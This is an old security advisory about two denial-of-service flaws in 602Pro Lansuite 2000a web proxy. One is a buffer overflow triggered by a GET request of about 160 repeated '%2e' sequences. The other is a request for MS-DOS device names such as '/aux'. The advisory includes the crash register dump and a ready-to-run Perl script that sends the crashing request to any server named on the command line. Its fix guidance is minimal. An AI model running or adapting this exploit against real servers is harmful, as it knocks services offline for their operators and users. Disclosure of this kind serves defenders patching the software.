COMMAND
602Pro Lansuite
SYSTEMS AFFECTED
602Pro Lansuite 2000a 1.0.34 - prior
PROBLEM
'nitr0s' found following. There are 2 problems, the first is a
buffer overflow in WEBPROX.DLL and the other in relation to
MS-DOS device files.Credit should be given to Peter Grundl who
made nitr0s think of trying this same problem that he found in
Alt-N Technologies MDaemon WebConfiguration feature which also
affects Xitami Webserver 2.4b5 and probably a whole load of other
windows server programs.
Connect to the webserver and send the following request:
GET /%2e%2e%2e%2e.... /HTTP/1.0
Where %2e is over 157 times
The server depending on how many times %2e or [.] is sent will
exit displaying the following error:
LANSUITE caused an invalid page fault in
module WEBPROX.DLL at 015f:008a1326.
Registers:
EAX=0000000a CS=015f EIP=008a1326
EFLGS=00010216
EBX=00000008 SS=0167 ESP=05202848
EBP=05202848
ECX=0000000a DS=0167 ESI=81648e38 FS=2c37
EDX=334f2b1f ES=0167 EDI=81623ff0 GS=0000
Bytes at CS:EIP:
8b 48 2c 83 e1 01 85 c9 74 2d 8b 55 08 c7 42 18
Stack dump:
052029dc 00862e9a 0000000a 334f2b1f 000000fa
81623ff0 81648e38 00000008 bff7b317 018d0000
00000000 018d1650 018d1650 0520ace7 018d164c
052028cc
The other problem is requesting MS-DOS device files, send the
following request to the webserver on port 80
GET /aux
The code:
#!/usr/bin/perl
#
# 602Pro Lansuite 2000a 1.0.34 Denial Of Service
#
#
# Malformed GET request
#
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my
($serv,$port,$foo,$number,$data,$buf,$in_addr,$padd
r,$proto);
$foo = "%2e";
$number = "160";
$data .= $foo x $number;
$serv = $args{s};
$port = 80;
$buf = "GET /$data /HTTP/1.0\r\n\r\n";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!
\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!
\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die
("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n$0 -s <server>\n\n");}
SOLUTION
Not sure what build nitr0s tried, but something similar was found
in the past so please take a look at:
http://oliver.efri.hr/~crv/security/bugs/Others/602lswa.html
As for second problem, that one is OS related. Filtering could
help here anyway.